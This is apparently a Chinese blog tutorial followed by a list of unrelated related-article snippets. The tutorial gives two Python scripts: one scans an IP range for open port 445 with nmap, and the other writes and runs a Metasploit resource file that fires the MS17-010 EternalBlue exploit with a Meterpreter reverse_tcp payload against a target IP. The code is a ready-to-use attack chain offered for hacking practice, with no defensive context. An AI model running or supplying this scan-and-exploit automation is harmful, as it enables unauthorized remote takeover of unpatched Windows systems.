python调用metasploit里的MS-17-010模块进行漏洞攻击
起因:看各位大佬们写的shellcode厉害的一匹,可惜自己没学C和汇编
也看不懂shellcode,只能写一个调用metasploit里的模块进行攻击了。
0x01
攻击机:192.168.223.141 kali Linux
目标:192.168.3.5 windows
需要用到的模块(这里我们写两个脚本,一个用于扫描IP段,看看那个IP开了445)
nmap模块
os模块
sys模块 nmap模块kail自带坑的要死,完全没有相关的函数。
手动卸载:pip uninstall nmap
安装:pip insall nmap
0x02
代码分析
sm445.py
nmap模块详解:https://pypi.python.org/pypi/python-nmap/0.6.1
import nmap
import sys
print '[+]nmap scanning...'
def portscanner(sbg):
nmscn=nmap.PortScanner()#实例化nmap.PortScanner对象
nmscn.scan(sbg,'445')#scan('目标IP','端口')
for host in nmscn.all_hosts():#获取扫描到的所有主机
if nmscn[host].has_tcp(445):#判断主机上是否有445端口,
state=nmscn[host]['tcp'][445]['state']#端口445 / TCP在主机打开
if state=="open":#如果端口开放
print '[*]The open 445 ip in:'+host#输出开放端口的IP
portscanner(sys.argv[1])

yhzl.py
import sys
import os
print 'Metasploit executing the ms-17-010 vulnerability attack'#这句话的意思是正在实施MS17010漏洞的攻击
def sds(config):
config=open('yhzl.rc','w')#首先我们来创建一个xxx.rc的文件
#把你要使用到的模块和对应的参数写入xxx.rc里去
config.write('use exploit/windows/smb/ms17_010_eternalblue'+"\n")
config.write('set PAYLOAD windows/x64/meterpreter/reverse_tcp'+"\n")
config.write('set RHOST '+sys.argv[1]+"\n")
config.write('set LHOST '+sys.argv[2]+"\n")
config.write('exploit'+"\n")
sds('')
def main():
mg=os.system('msfconsole -r /root/yhzl.rc')#执行msfconsole -r 路径/xxx.rc,就可以了
if __name__ == '__main__':
main()
运行截图这里就不放了,我怕电脑蓝屏。视频发到群里了,看攻击过程的小伙伴
可以进群看聊天记录。还有欢迎大家进入即刻安全技术交流群:307283889
推荐大家看基本python的书:
《python绝技 运用python成为顶级黑客》 python2x 版本
《python 黑帽子》 python 3x版本
看完实战,或者构造一个思路去实现他。
python调用metasploit里的MS-17-010模块进行漏洞攻击的更多相关文章
- 《自拍教程17》Python调用命令
他山之石 何为他山之石,就是借助外界工具,来实现自己想要的功能. 命令行界面软件, 即各种命令,我们也叫命令行工具, 此类工具也是测试人员或者开发人员常用的工具的一种. 测试人员可以借助这类工具,快速 ...
- Python调用ffpmeg和ffprobe处理视频文件
需求: 运营有若干批次的视频.有上千个,视频文件,有mp4格式的,有ts格式的 现在有需要去掉视频文件片头和片尾的批量操作需求. 比如 文件夹A下面的视频去掉片尾10秒 文件夹B下面的视频去掉片头6秒 ...
- python调用C++之pybind11入门(相互调用)
python调用C/C++有不少的方法,如boost.python, swig, ctypes, pybind11等,这些方法有繁有简,而pybind11的优点是对C++ 11支持很好,API比较简单 ...
- python调用c\c++
前言 python 这门语言,凭借着其极高的易学易用易读性和丰富的扩展带来的学习友好性和项目友好性,近年来迅速成为了越来越多的人们的首选.然而一旦拿python与传统的编程语言(C/C++)如来比较的 ...
- python调用系统命令popen、system
python调用Shell脚本,有两种方法:os.system(cmd)或os.popen(cmd),前者返回值是脚本的退出状态码,后者的返回值是脚本执行过程中的输出内容.所以说一般我们认为popen ...
- python 调用mysql存储过程返回结果集
存储过程: delimiter | ),)) begin select * from tb_test where mid = imid and user = iuser; end; | delimit ...
- 『Python』Python 调用 ZoomEye API 批量获取目标网站IP
#### 20160712 更新 原API的访问方式是以 HTTP 的方式访问的,根据官网最新文档,现在已经修改成 HTTPS 方式,测试可以正常使用API了. 0x 00 前言 ZoomEye 的 ...
- python 调用shell命令三种方法
#!/usr/bin/python是告诉操作系统执行这个脚本的时候,调用/usr/bin下的python解释器: #!/usr/bin/env python这种用法是为了防止操作系统用户没有将pyth ...
- 篇2 安卓app自动化测试-初识python调用appium
篇2 安卓app自动化测试-初识python调用appium --lamecho辣么丑 1.1概要 大家好!我是lamecho(辣么丑),上一篇也是<安卓app自动化测 ...
随机推荐
- 理解Babel是如何编译JS代码的及理解抽象语法树(AST)
Babel是如何编译JS代码的及理解抽象语法树(AST) 1. Babel的作用是? 很多浏览器目前还不支持ES6的代码,但是我们可以通过Babel将ES6的代码转译成ES5代码,让所有的浏览器都 ...
- redis集群配置,spring整合jedis,缓存同步
前台的商品数据(图片等加载缓慢)查询,先从redis缓存查询数据. redis是一个nosql数据库,内存版数据库,读取速度11w/s.本身具有内存淘汰机制,是单线程服务器(分时操作系统),线程安全. ...
- 通过 JS 实现简单的拖拽功能并且可以在特定元素上禁止拖拽
前言 关于讲解 JS 的拖拽功能的文章数不胜数,我确实没有必要大费周章再写一篇重复的文章来吸引眼球.本文的重点是讲解如何在某些特定的元素上禁止拖拽.这是我在编写插件时遇到的问题,其实很多插件的拖拽功能 ...
- 扩展1 - Python 获取当前时间的用法
1.先导入库:import datetime 2.获取当前日期和时间:now_time = datetime.datetime.now() 3.格式化成我们想要的日期:strftime() 比如:“2 ...
- git push的用法
git push <远程仓库名> <本地分支名>:<远程分支名>
- python (5分钟实现一个游戏的屏蔽敏感字系统,)
import datetime time=datetime.datetime.now() dirty= ['fuck','狗日的','犊子','麻批','仙人板板','R你妈','操你','草你',' ...
- 搭建非域AlwaysOn win2016+SQL2016
搭建非域AlwaysOn win2016+SQL2016 第一篇http://www.cnblogs.com/lyhabc/p/4678330.html第二篇http://www.cnblogs.co ...
- Spring3.x企业开发应用实战读书笔记 —— 第三章IoC容器概述
声明: 本篇博客绝大多数内容为<Spring3.x企业开发应用实战>一书原内容,所有版权归原书作者所有!,仅供学习参考,勿作他用! 3.2 相关Java基础知识 Java语言允许通过 ...
- MySQL优化一 简绍
优化方面: 存储层:数据表”存储引擎”选取.字段类型选取.逆范式(3范式) 设计层:索引.分区/分表 架构层:分布式部署(主从模式/共享) sql语句层:结果一样的情况下,要选择效率高.速度快.节省资 ...
- 三栏布局之 css3 calc和 flex
圣杯布局的实现,有很多种. 大致都是借助 padding, margin, float之类的,当然这是传统的实现方式.更多的参考方式圣杯布局小结. 这里说的是用css3 cal 和flex来实现,因为 ...